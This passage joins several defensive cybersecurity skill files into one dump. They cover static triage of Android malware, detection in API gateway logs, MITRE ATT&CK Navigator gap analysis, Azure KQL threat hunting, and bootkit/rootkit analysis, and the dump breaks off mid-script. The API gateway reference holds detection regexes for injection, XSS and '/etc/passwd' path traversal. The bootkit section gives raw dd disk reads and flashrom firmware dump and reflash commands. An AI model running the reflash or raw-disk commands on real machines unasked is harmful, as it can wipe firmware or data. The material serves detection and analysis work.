-->\n---\nname: analyzing-android-malware-with-apktool\ndescription: Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- Android\n- APK\n- apktool\n- jadx\n- androguard\n- mobile-malware\n- static-analysis\n- reverse-engineering\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1406\n- T1407\n- T1626.001\n- T1655.001\n- T1521.001\n---\n\n# Analyzing Android Malware with Apktool\n\n## Overview\n\nAndroid malware distributed as APK files can be statically analyzed to extract permissions, activities, services, broadcast receivers, and suspicious API calls without executing the sample. This skill uses androguard for programmatic APK analysis, identifying dangerous permission combinations, obfuscated code patterns, dynamic code loading, reflection-based API calls, and network communication indicators.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing android malware with apktool\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `androguard`\n- apktool (for resource decompilation)\n- jadx (for Java source recovery, optional)\n- Isolated analysis environment (VM or sandbox)\n- Sample APK files for analysis\n\n## Steps\n\n1. Parse APK with androguard to extract manifest metadata\n2. Enumerate requested permissions and flag dangerous combinations\n3. List activities, services, receivers, and providers from manifest\n4. Scan for suspicious API calls (reflection, crypto, SMS, telephony)\n5. Detect dynamic code loading patterns (DexClassLoader, Runtime.exec)\n6. Extract hardcoded URLs, IPs, and C2 indicators from strings\n7. Generate risk assessment report with MITRE ATT&CK mobile mappings\n\n## Expected Output\n\n- JSON report with permission analysis, component listing, suspicious API calls, network indicators, and risk score\n- Extracted strings and potential IOCs from the APK\n\n<!-- File: skills/analyzing-api-gateway-access-logs/references/api-reference.md (Tokens: ~447 | Category: anthropic-skill) -->\n# API Reference: Analyzing API Gateway Access Logs\n\n## AWS API Gateway Log Fields\n\n```json\n{\n  \"requestId\": \"abc-123\",\n  \"ip\": \"203.0.113.50\",\n  \"httpMethod\": \"GET\",\n  \"resourcePath\": \"/api/users/{id}\",\n  \"status\": 200,\n  \"requestTime\": \"2025-03-15T14:00:00Z\",\n  \"responseLength\": 1024\n}\n```\n\n## Pandas Log Analysis\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"access_logs.json\", lines=True)\n\n# BOLA detection\ndf.groupby(\"user_id\")[\"resource_id\"].nunique()\n\n# Auth failure surge\ndf[df[\"status_code\"] == 401].groupby(\"source_ip\").size()\n\n# Request velocity\ndf.set_index(\"timestamp\").resample(\"1min\").size()\n```\n\n## OWASP API Top 10 Patterns\n\n| Risk | Detection Pattern |\n|------|-------------------|\n| BOLA (API1) | User accessing > 50 unique resource IDs |\n| Broken Auth (API2) | > 100 401/403 from single IP |\n| Excessive Data (API3) | Response size > 10x average |\n| Rate Limit (API4) | > 100 req/min from single IP |\n| BFLA (API5) | DELETE/PUT on read-only endpoints |\n| Injection (API8) | SQL/NoSQL patterns in params |\n\n## Injection Regex Patterns\n\n```python\nsql = r\"union\\s+select|drop\\s+table|'\\s*or\\s+'1'\"\nnosql = r\"\\$ne|\\$gt|\\$regex|\\$where\"\nxss = r\"<script|javascript:|onerror=\"\npath_traversal = r\"\\.\\./\\.\\./|/etc/passwd\"\n```\n\n### References\n\n- OWASP API Security Top 10: https://owasp.org/API-Security/\n- AWS API Gateway logging: https://docs.aws.amazon.com/apigateway/latest/developerguide/\n- pandas: https://pandas.pydata.org/docs/\n\n<!-- File: skills/analyzing-api-gateway-access-logs/SKILL.md (Tokens: ~558 | Category: anthropic-skill) -->\n---\nname: analyzing-api-gateway-access-logs\ndescription: 'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect\n  BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts.\n  Uses pandas for statistical analysis of request patterns and anomaly detection.\n  Use when investigating API abuse or building API-specific threat detection rules.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- api-security\n- access-log-analysis\n- aws-api-gateway\n- kong\n- nginx\n- bola-detection\n- rate-limit-bypass\n- security-operations\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1190\n- T1110.004\n- T1078.004\n- T1119\n---\n\n# Analyzing API Gateway Access Logs\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing api gateway access logs\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nParse API gateway access logs to identify attack patterns including broken object\nlevel authorization (BOLA), excessive data exposure, and injection attempts.\n\n```python\nimport pandas as pd\n\ndf = pd.read_json(\"api_gateway_logs.json\", lines=True)\n# Detect BOLA: same user accessing many different resource IDs\nbola = df.groupby([\"user_id\", \"endpoint\"]).agg(\n    unique_ids=(\"resource_id\", \"nunique\")).reset_index()\nsuspicious = bola[bola[\"unique_ids\"] > 50]\n```\n\nKey detection patterns:\n1. BOLA/IDOR: sequential resource ID enumeration\n2. Rate limit bypass via header manipulation\n3. Credential scanning (401 surges from single source)\n4. SQL/NoSQL injection in query parameters\n5. Unusual HTTP methods (DELETE, PATCH) on read-only endpoints\n\n## Examples\n\n```python\n# Detect 401 surges indicating credential scanning\nauth_failures = df[df[\"status_code\"] == 401]\nscanner_ips = auth_failures.groupby(\"source_ip\").size()\nscanners = scanner_ips[scanner_ips > 100]\n```\n\n<!-- File: skills/analyzing-apt-group-with-mitre-navigator/references/api-reference.md (Tokens: ~757 | Category: anthropic-skill) -->\n# API Reference: MITRE ATT&CK Navigator APT Analysis\n\n## ATT&CK Navigator Layer Format\n\n### Layer JSON Structure\n```json\n{\n  \"name\": \"APT29 - TTPs\",\n  \"versions\": {\"attack\": \"14\", \"navigator\": \"4.9.1\", \"layer\": \"4.5\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\n      \"techniqueID\": \"T1566.001\",\n      \"tactic\": \"initial-access\",\n      \"color\": \"#ff6666\",\n      \"score\": 100,\n      \"comment\": \"Used by APT29\",\n      \"enabled\": true\n    }\n  ],\n  \"gradient\": {\"colors\": [\"#ffffff\", \"#ff6666\"], \"minValue\": 0, \"maxValue\": 100}\n}\n```\n\n## ATT&CK STIX Data Access\n\n### Download Enterprise ATT&CK Bundle\n```bash\ncurl -o enterprise-attack.json \\\n  https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json\n```\n\n### STIX Object Types\n| Type | Description |\n|------|-------------|\n| `intrusion-set` | APT groups / threat actors |\n| `attack-pattern` | Techniques and sub-techniques |\n| `relationship` | Links groups to techniques (`uses`) |\n| `malware` | Malware families |\n| `tool` | Legitimate tools used by adversaries |\n\n## mitreattack-python Library\n\n### Installation\n```bash\npip install mitreattack-python\n```\n\n### Query Group Techniques\n```python\nfrom mitreattack.stix20 import MitreAttackData\n\nattack = MitreAttackData(\"enterprise-attack.json\")\ngroups = attack.get_groups()\nfor g in groups:\n    techs = attack.get_techniques_used_by_group(g)\n    print(f\"{g.name}: {len(techs)} techniques\")\n```\n\n### Get Technique Details\n```python\ntechnique = attack.get_object_by_attack_id(\"T1566.001\", \"attack-pattern\")\nprint(technique.name)          # Spearphishing Attachment\nprint(technique.x_mitre_platforms)  # ['Windows', 'macOS', 'Linux']\n```\n\n## Navigator CLI (attack-navigator)\n\n### Export Layer to SVG\n```bash\nnpx attack-navigator-export \\\n  --layer layer.json \\\n  --output output.svg \\\n  --theme dark\n```\n\n## ATT&CK API (TAXII)\n```python\nfrom stix2 import TAXIICollectionSource, Filter\nfrom taxii2client.v20 import Collection\n\ncollection = Collection(\n    \"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/\"\n)\ntc_source = TAXIICollectionSource(collection)\ngroups = tc_source.query([Filter(\"type\", \"=\", \"intrusion-set\")])\n```\n\n## Key APT Groups Reference\n| ID | Name | Known Aliases |\n|----|------|--------------|\n| G0016 | APT29 | Cozy Bear, The Dukes, NOBELIUM |\n| G0007 | APT28 | Fancy Bear, Sofacy, Strontium |\n| G0022 | APT3 | Gothic Panda, UPS |\n| G0032 | Lazarus Group | HIDDEN COBRA, Zinc |\n| G0074 | Dragonfly 2.0 | Energetic Bear, Berserk Bear |\n| G0010 | Turla | Waterbug, Venomous Bear |\n\n<!-- File: skills/analyzing-apt-group-with-mitre-navigator/SKILL.md (Tokens: ~2950 | Category: anthropic-skill) -->\n---\nname: analyzing-apt-group-with-mitre-navigator\ndescription: Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- mitre-attack\n- navigator\n- apt\n- threat-actor\n- ttp-analysis\n- heatmap\n- detection-gap\n- threat-intelligence\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Content Format Conversion\n- File Content Analysis\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1059.001\n- T1071.001\n- T1003.001\n- T1486\n- T1547.001\n---\n# Analyzing APT Group with MITRE ATT&CK Navigator\n\n## Overview\n\nMITRE ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices, enabling analysts to visualize threat actor technique coverage, compare multiple APT groups, identify detection gaps, and build threat-informed defense strategies. This skill covers querying ATT&CK data programmatically, mapping APT group TTPs to Navigator layers, creating multi-layer overlays for gap analysis, and generating actionable intelligence reports for detection engineering teams.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing apt group with mitre navigator\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `attackcti`, `mitreattack-python`, `stix2`, `requests` libraries\n- ATT&CK Navigator (https://mitre-attack.github.io/attack-navigator/) or local deployment\n- Understanding of ATT&CK Enterprise matrix: 14 Tactics, 200+ Techniques, Sub-techniques\n- Access to threat intelligence reports or MISP/OpenCTI for threat actor data\n- Familiarity with STIX 2.1 Intrusion Set and Attack Pattern objects\n\n## Key Concepts\n\n### ATT&CK Navigator Layers\n\nNavigator layers are JSON files that annotate ATT&CK techniques with scores, colors, comments, and metadata. Each layer can represent a single APT group's technique usage, a detection capability map, or a combined overlay. Layer version 4.5 supports enterprise-attack, mobile-attack, and ics-attack domains with filtering by platform (Windows, Linux, macOS, Cloud, Azure AD, Office 365, SaaS).\n\n### APT Group Profiles in ATT&CK\n\nATT&CK catalogs over 140 threat groups with documented technique usage. Each group profile includes aliases, targeted sectors, associated campaigns, software used, and technique mappings with procedure-level detail. Groups are identified by G-codes (e.g., G0016 for APT29, G0007 for APT28, G0032 for Lazarus Group).\n\n### Multi-Layer Analysis\n\nThe Navigator supports loading multiple layers simultaneously, allowing analysts to overlay threat actor TTPs against detection coverage to identify gaps, compare multiple APT groups to find common techniques worth prioritizing, and track technique coverage changes over time.\n\n## Workflow\n\n### Step 1: Query ATT&CK Data for APT Group\n\n```python\nfrom attackcti import attack_client\nimport json\n\nlift = attack_client()\n\n# Get all threat groups\ngroups = lift.get_groups()\nprint(f\"Total ATT&CK groups: {len(groups)}\")\n\n# Find APT29 (Cozy Bear / Midnight Blizzard)\napt29 = next((g for g in groups if g.get('name') == 'APT29'), None)\nif apt29:\n    print(f\"Group: {apt29['name']}\")\n    print(f\"Aliases: {apt29.get('aliases', [])}\")\n    print(f\"Description: {apt29.get('description', '')[:300]}\")\n\n# Get techniques used by APT29 (G0016)\ntechniques = lift.get_techniques_used_by_group(\"G0016\")\nprint(f\"APT29 uses {len(techniques)} techniques\")\n\ntechnique_map = {}\nfor tech in techniques:\n    tech_id = \"\"\n    for ref in tech.get(\"external_references\", []):\n        if ref.get(\"source_name\") == \"mitre-attack\":\n            tech_id = ref.get(\"external_id\", \"\")\n            break\n    if tech_id:\n        tactics = [p.get(\"phase_name\", \"\") for p in tech.get(\"kill_chain_phases\", [])]\n        technique_map[tech_id] = {\n            \"name\": tech.get(\"name\", \"\"),\n            \"tactics\": tactics,\n            \"description\": tech.get(\"description\", \"\")[:500],\n            \"platforms\": tech.get(\"x_mitre_platforms\", []),\n            \"data_sources\": tech.get(\"x_mitre_data_sources\", []),\n        }\n```\n\n### Step 2: Generate Navigator Layer JSON\n\n```python\ndef create_navigator_layer(group_name, technique_map, color=\"#ff6666\"):\n    techniques_list = []\n    for tech_id, info in technique_map.items():\n        for tactic in info[\"tactics\"]:\n            techniques_list.append({\n                \"techniqueID\": tech_id,\n                \"tactic\": tactic,\n                \"color\": color,\n                \"comment\": info[\"name\"],\n                \"enabled\": True,\n                \"score\": 100,\n                \"metadata\": [\n                    {\"name\": \"group\", \"value\": group_name},\n                    {\"name\": \"platforms\", \"value\": \", \".join(info[\"platforms\"])},\n                ],\n            })\n\n    layer = {\n        \"name\": f\"{group_name} TTP Coverage\",\n        \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n        \"domain\": \"enterprise-attack\",\n        \"description\": f\"Techniques attributed to {group_name}\",\n        \"filters\": {\n            \"platforms\": [\"Linux\", \"macOS\", \"Windows\", \"Cloud\",\n                          \"Azure AD\", \"Office 365\", \"SaaS\", \"Google Workspace\"]\n        },\n        \"sorting\": 0,\n        \"layout\": {\n            \"layout\": \"side\", \"aggregateFunction\": \"average\",\n            \"showID\": True, \"showName\": True,\n            \"showAggregateScores\": False, \"countUnscored\": False,\n        },\n        \"hideDisabled\": False,\n        \"techniques\": techniques_list,\n        \"gradient\": {\"colors\": [\"#ffffff\", color], \"minValue\": 0, \"maxValue\": 100},\n        \"legendItems\": [\n            {\"label\": f\"Used by {group_name}\", \"color\": color},\n            {\"label\": \"Not observed\", \"color\": \"#ffffff\"},\n        ],\n        \"showTacticRowBackground\": True,\n        \"tacticRowBackground\": \"#dddddd\",\n        \"selectTechniquesAcrossTactics\": True,\n        \"selectSubtechniquesWithParent\": False,\n        \"selectVisibleTechniques\": False,\n    }\n    return layer\n\nlayer = create_navigator_layer(\"APT29\", technique_map)\nwith open(\"apt29_layer.json\", \"w\") as f:\n    json.dump(layer, f, indent=2)\nprint(\"[+] Layer saved: apt29_layer.json\")\n```\n\n### Step 3: Compare Multiple APT Groups\n\n```python\ngroups_to_compare = {\"G0016\": \"APT29\", \"G0007\": \"APT28\", \"G0032\": \"Lazarus Group\"}\ngroup_techniques = {}\n\nfor gid, gname in groups_to_compare.items():\n    techs = lift.get_techniques_used_by_group(gid)\n    tech_ids = set()\n    for t in techs:\n        for ref in t.get(\"external_references\", []):\n            if ref.get(\"source_name\") == \"mitre-attack\":\n                tech_ids.add(ref.get(\"external_id\", \"\"))\n    group_techniques[gname] = tech_ids\n\ncommon_to_all = set.intersection(*group_techniques.values())\nprint(f\"Techniques common to all groups: {len(common_to_all)}\")\nfor tid in sorted(common_to_all):\n    print(f\"  {tid}\")\n\nfor gname, techs in group_techniques.items():\n    others = set.union(*[t for n, t in group_techniques.items() if n != gname])\n    unique = techs - others\n    print(f\"\\nUnique to {gname}: {len(unique)} techniques\")\n```\n\n### Step 4: Detection Gap Analysis with Layer Overlay\n\n```python\n# Define your current detection capabilities\ndetected_techniques = {\n    \"T1059\", \"T1059.001\", \"T1071\", \"T1071.001\", \"T1566\", \"T1566.001\",\n    \"T1547\", \"T1547.001\", \"T1053\", \"T1053.005\", \"T1078\", \"T1027\",\n}\n\nactor_techniques = set(technique_map.keys())\ncovered = actor_techniques.intersection(detected_techniques)\ngaps = actor_techniques - detected_techniques\n\nprint(f\"=== Detection Gap Analysis for APT29 ===\")\nprint(f\"Actor techniques: {len(actor_techniques)}\")\nprint(f\"Detected: {len(covered)} ({len(covered)/len(actor_techniques)*100:.0f}%)\")\nprint(f\"Gaps: {len(gaps)} ({len(gaps)/len(actor_techniques)*100:.0f}%)\")\n\n# Create gap layer (red = undetected, green = detected)\ngap_techniques = []\nfor tech_id in actor_techniques:\n    info = technique_map.get(tech_id, {})\n    for tactic in info.get(\"tactics\", [\"\"]):\n        color = \"#66ff66\" if tech_id in detected_techniques else \"#ff3333\"\n        gap_techniques.append({\n            \"techniqueID\": tech_id,\n            \"tactic\": tactic,\n            \"color\": color,\n            \"comment\": f\"{'DETECTED' if tech_id in detected_techniques else 'GAP'}: {info.get('name', '')}\",\n            \"enabled\": True,\n            \"score\": 100 if tech_id in detected_techniques else 0,\n        })\n\ngap_layer = {\n    \"name\": \"APT29 Detection Gap Analysis\",\n    \"versions\": {\"attack\": \"16.1\", \"navigator\": \"5.1.0\", \"layer\": \"4.5\"},\n    \"domain\": \"enterprise-attack\",\n    \"description\": \"Green = detected, Red = gap\",\n    \"techniques\": gap_techniques,\n    \"gradient\": {\"colors\": [\"#ff3333\", \"#66ff66\"], \"minValue\": 0, \"maxValue\": 100},\n    \"legendItems\": [\n        {\"label\": \"Detected\", \"color\": \"#66ff66\"},\n        {\"label\": \"Detection Gap\", \"color\": \"#ff3333\"},\n    ],\n}\nwith open(\"apt29_gap_layer.json\", \"w\") as f:\n    json.dump(gap_layer, f, indent=2)\n```\n\n### Step 5: Tactic Breakdown Analysis\n\n```python\nfrom collections import defaultdict\n\ntactic_breakdown = defaultdict(list)\nfor tech_id, info in technique_map.items():\n    for tactic in info[\"tactics\"]:\n        tactic_breakdown[tactic].append({\"id\": tech_id, \"name\": info[\"name\"]})\n\ntactic_order = [\n    \"reconnaissance\", \"resource-development\", \"initial-access\",\n    \"execution\", \"persistence\", \"privilege-escalation\",\n    \"defense-evasion\", \"credential-access\", \"discovery\",\n    \"lateral-movement\", \"collection\", \"command-and-control\",\n    \"exfiltration\", \"impact\",\n]\n\nprint(\"\\n=== APT29 Tactic Breakdown ===\")\nfor tactic in tactic_order:\n    techs = tactic_breakdown.get(tactic, [])\n    if techs:\n        print(f\"\\n{tactic.upper()} ({len(techs)} techniques):\")\n        for t in techs:\n            print(f\"  {t['id']}: {t['name']}\")\n```\n\n## Validation Criteria\n\n- ATT&CK data queried successfully via TAXII server\n- APT group mapped to all documented techniques with procedure examples\n- Navigator layer JSON validates and renders correctly in ATT&CK Navigator\n- Multi-layer overlay shows threat actor vs. detection coverage\n- Detection gap analysis identifies unmonitored techniques with data source recommendations\n- Cross-group comparison reveals shared and unique TTPs\n- Output is actionable for detection engineering prioritization\n\n## References\n\n- [MITRE ATT&CK Navigator](https://mitre-attack.github.io/attack-navigator/)\n- [ATT&CK Groups](https://attack.mitre.org/groups/)\n- [attackcti Python Library](https://github.com/OTRF/ATTACK-Python-Client)\n- [Navigator Layer Format v4.5](https://github.com/mitre-attack/attack-navigator/blob/master/layers/LAYERFORMATv4_5.md)\n- [CISA Best Practices for MITRE ATT&CK Mapping](https://www.cisa.gov/sites/default/files/2023-01/Best%20Practices%20for%20MITRE%20ATTCK%20Mapping.pdf)\n- [Picus: Leverage MITRE ATT&CK for Threat Intelligence](https://www.picussecurity.com/how-to-leverage-the-mitre-attack-framework-for-threat-intelligence)\n\n<!-- File: skills/analyzing-azure-activity-logs-for-threats/references/api-reference.md (Tokens: ~378 | Category: anthropic-skill) -->\n# API Reference: Analyzing Azure Activity Logs for Threats\n\n## azure-monitor-query\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient, LogsQueryStatus\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | take 10\",\n    timespan=timedelta(hours=24),\n)\nif response.status == LogsQueryStatus.SUCCESS:\n    for table in response.tables:\n        columns = [col.name for col in table.columns]\n        for row in table.rows:\n            print(dict(zip(columns, row)))\n```\n\n## Key Azure Log Tables\n\n| Table | Content |\n|-------|---------|\n| `AzureActivity` | Control plane operations (ARM) |\n| `SigninLogs` | Azure AD sign-in events |\n| `AuditLogs` | Azure AD audit trail |\n| `AzureDiagnostics` | Resource diagnostics (Key Vault, NSG) |\n| `SecurityAlert` | Defender for Cloud alerts |\n\n## Threat Detection KQL Patterns\n\n```kql\n// Privilege escalation\nAzureActivity | where OperationNameValue has \"ROLEASSIGNMENTS/WRITE\"\n\n// Impossible travel\nSigninLogs | where ResultType == 0\n| extend Distance = geo_distance_2points(...)\n\n// Mass deletion\nAzureActivity | where OperationNameValue endswith \"/DELETE\"\n| summarize count() by Caller, bin(TimeGenerated, 1h)\n```\n\n### References\n\n- azure-monitor-query: https://pypi.org/project/azure-monitor-query/\n- KQL reference: https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/\n- Azure Activity Log schema: https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/activity-log-schema\n\n<!-- File: skills/analyzing-azure-activity-logs-for-threats/SKILL.md (Tokens: ~542 | Category: anthropic-skill) -->\n---\nname: analyzing-azure-activity-logs-for-threats\ndescription: 'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query\n  to detect suspicious administrative operations, impossible travel, privilege escalation,\n  and resource modifications. Builds KQL queries for threat hunting in Azure environments.\n  Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.\n\n  '\ndomain: cybersecurity\nsubdomain: security-operations\ntags:\n- azure\n- cloud-security\n- azure-monitor\n- kql\n- threat-hunting\n- activity-logs\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\n- RS.MA-01\n- GV.OV-01\n- DE.AE-02\nmitre_attack:\n- T1078.004\n- T1098.003\n- T1538\n- T1556.009\n- T1580\n---\n\n# Analyzing Azure Activity Logs for Threats\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing azure activity logs for threats\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with security operations concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\nUse azure-monitor-query to execute KQL queries against Azure Log Analytics workspaces,\ndetecting suspicious admin operations and sign-in anomalies.\n\n```python\nfrom azure.identity import DefaultAzureCredential\nfrom azure.monitor.query import LogsQueryClient\nfrom datetime import timedelta\n\ncredential = DefaultAzureCredential()\nclient = LogsQueryClient(credential)\n\nresponse = client.query_workspace(\n    workspace_id=\"WORKSPACE_ID\",\n    query=\"AzureActivity | where OperationNameValue has 'MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE' | take 10\",\n    timespan=timedelta(hours=24),\n)\n```\n\nKey detection queries:\n1. Role assignment changes (privilege escalation)\n2. Resource group and subscription modifications\n3. Key vault secret access from new IPs\n4. Network security group rule changes\n5. Conditional access policy modifications\n\n## Examples\n\n```python\n# Detect new Global Admin role assignments\nquery = '''\nAuditLogs\n| where OperationName == \"Add member to role\"\n| where TargetResources[0].modifiedProperties[0].newValue has \"Global Administrator\"\n'''\n```\n\n<!-- File: skills/analyzing-bootkit-and-rootkit-samples/references/api-reference.md (Tokens: ~752 | Category: anthropic-skill) -->\n# API Reference: Bootkit and Rootkit Analysis Tools\n\n## dd - Boot Sector Extraction\n\n### Syntax\n```bash\ndd if=/dev/sda of=mbr.bin bs=512 count=1          # MBR\ndd if=/dev/sda of=first_track.bin bs=512 count=63  # First track\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1          # VBR\n```\n\n## ndisasm - 16-bit Disassembly\n\n### Syntax\n```bash\nndisasm -b16 mbr.bin > mbr_disasm.txt\nndisasm -b16 -o 0x7C00 mbr.bin   # Set origin to MBR load address\n```\n\n### Key Flags\n| Flag | Description |\n|------|-------------|\n| `-b16` | 16-bit real-mode disassembly |\n| `-b32` | 32-bit protected-mode |\n| `-o` | Origin address offset |\n\n## UEFITool - Firmware Analysis\n\n### CLI Syntax\n```bash\nUEFIExtract firmware.rom all             # Extract all modules\nUEFIExtract firmware.rom <GUID> body     # Extract specific module body\n```\n\n### Output\nExtracts firmware volumes into a directory tree with each DXE driver, PEI module, and option ROM as separate files identified by GUID.\n\n## chipsec - Hardware Security Assessment\n\n### Syntax\n```bash\npython chipsec_main.py -m common.secureboot.variables  # Check Secure Boot\npython chipsec_main.py -m common.bios_wp               # SPI write protection\npython chipsec_main.py -m common.spi_lock               # SPI lock status\npython chipsec_util.py spi dump firmware.rom            # Dump SPI flash\n```\n\n### Key Modules\n| Module | Purpose |\n|--------|---------|\n| `common.secureboot.variables` | Verify Secure Boot configuration |\n| `common.bios_wp` | Check BIOS write protection |\n| `common.spi_lock` | Verify SPI flash lock bits |\n| `common.smm` | SMM protection verification |\n\n## Volatility 3 - Rootkit Detection Plugins\n\n### Syntax\n```bash\nvol3 -f memory.dmp <plugin>\n```\n\n### Rootkit Detection Plugins\n| Plugin | Purpose |\n|--------|---------|\n| `windows.ssdt` | System Service Descriptor Table hooks |\n| `windows.callbacks` | Kernel callback registrations |\n| `windows.driverscan` | Scan for driver objects |\n| `windows.modules` | List loaded kernel modules |\n| `windows.psscan` | Pool-tag scan for processes (finds hidden) |\n| `windows.pslist` | Active process list (DKOM-affected) |\n| `windows.idt` | Interrupt Descriptor Table hooks |\n\n### Output Format\n```\nOffset  Order  Module         Section  Owner\n------- -----  ------         -------  -----\n0x...   0      ntoskrnl.exe   .text    ntoskrnl.exe\n0x...   73     UNKNOWN        -        rootkit.sys   ← suspicious\n```\n\n## flashrom - SPI Flash Dumping\n\n### Syntax\n```bash\nflashrom -p internal -r firmware.rom     # Read/dump\nflashrom -p internal -w clean.rom        # Write/reflash\nflashrom -p internal --verify clean.rom  # Verify flash contents\n```\n\n## YARA - Firmware Pattern Scanning\n\n### Syntax\n```bash\nyara -r uefi_malware.yar firmware.rom\nyara -s -r rules.yar firmware.rom   # Show matching strings\n```\n\n<!-- File: skills/analyzing-bootkit-and-rootkit-samples/SKILL.md (Tokens: ~3397 | Category: anthropic-skill) -->\n---\nname: analyzing-bootkit-and-rootkit-samples\ndescription: 'Analyzes bootkit and advanced rootkit malware infecting the Master\n  Boot Record (MBR), Volume Boot Record (VBR), or UEFI firmware for below-OS persistence,\n  covering boot sector analysis, UEFI module inspection, and anti-rootkit detection.\n  Use when compromise survives OS reinstallation or antivirus/EDR fails to detect\n  malware despite clear infection signs.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- bootkit\n- rootkit\n- UEFI\n- MBR-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1542.003\n- T1542.001\n- T1542.002\n- T1014\n- T1547.006\n---\n\n# Analyzing Bootkit and Rootkit Samples\n\n## When to Use\n\n- A system shows signs of compromise that persist through OS reinstallation\n- Antivirus and EDR are unable to detect malware despite clear evidence of compromise\n- UEFI Secure Boot has been disabled or shows integrity violations\n- Memory forensics reveals rootkit behavior (hidden processes, hooked system calls)\n- Investigating nation-state level threats known to deploy bootkits (APT28, APT41, Equation Group)\n\n**Do not use** for standard user-mode malware; bootkits and rootkits operate at a fundamentally different level requiring specialized analysis techniques.\n\n## Prerequisites\n\n- Disk imaging tools (dd, FTK Imager) for acquiring MBR/VBR sectors\n- UEFITool for UEFI firmware volume analysis and module extraction\n- chipsec for hardware-level firmware security assessment\n- Ghidra with x86 real-mode and 16-bit support for MBR code analysis\n- Volatility 3 for kernel-level rootkit artifact detection\n- Bootable Linux live USB for offline system analysis\n\n## Workflow\n\n### Step 1: Acquire Boot Sectors and Firmware\n\nExtract MBR, VBR, and UEFI firmware for offline analysis:\n\n```bash\n# Acquire MBR (first 512 bytes of disk)\ndd if=/dev/sda of=mbr.bin bs=512 count=1\n\n# Acquire first track (usually contains bootkit code beyond MBR)\ndd if=/dev/sda of=first_track.bin bs=512 count=63\n\n# Acquire VBR (Volume Boot Record - first sector of partition)\ndd if=/dev/sda1 of=vbr.bin bs=512 count=1\n\n# Acquire UEFI System Partition\nmkdir /mnt/efi\nmount /dev/sda1 /mnt/efi\ncp -r /mnt/efi/EFI /analysis/efi_backup/\n\n# Dump UEFI firmware (requires chipsec or flashrom)\n# Using chipsec:\npython chipsec_util.py spi dump firmware.rom\n\n# Using flashrom:\nflashrom -p internal -r firmware.rom\n\n# Verify firmware dump integrity\nsha256sum firmware.rom\n```\n\n### Step 2: Analyze MBR/VBR for Bootkit Code\n\nExamine boot sector code for malicious modifications:\n\n```bash\n# Disassemble MBR code (16-bit real mode)\nndisasm -b16 mbr.bin > mbr_disasm.txt\n\n# Compare MBR with known-good Windows MBR\n# Standard Windows MBR begins with: EB 5A 90 (JMP 0x5C, NOP)\n# Standard Windows 10 MBR: 33 C0 8E D0 BC 00 7C (XOR AX,AX; MOV SS,AX; MOV SP,7C00h)\n\npython3 << 'PYEOF'\nwith open(\"mbr.bin\", \"rb\") as f:\n    mbr = f.read()\n\n# Check MBR signature (bytes 510-511 should be 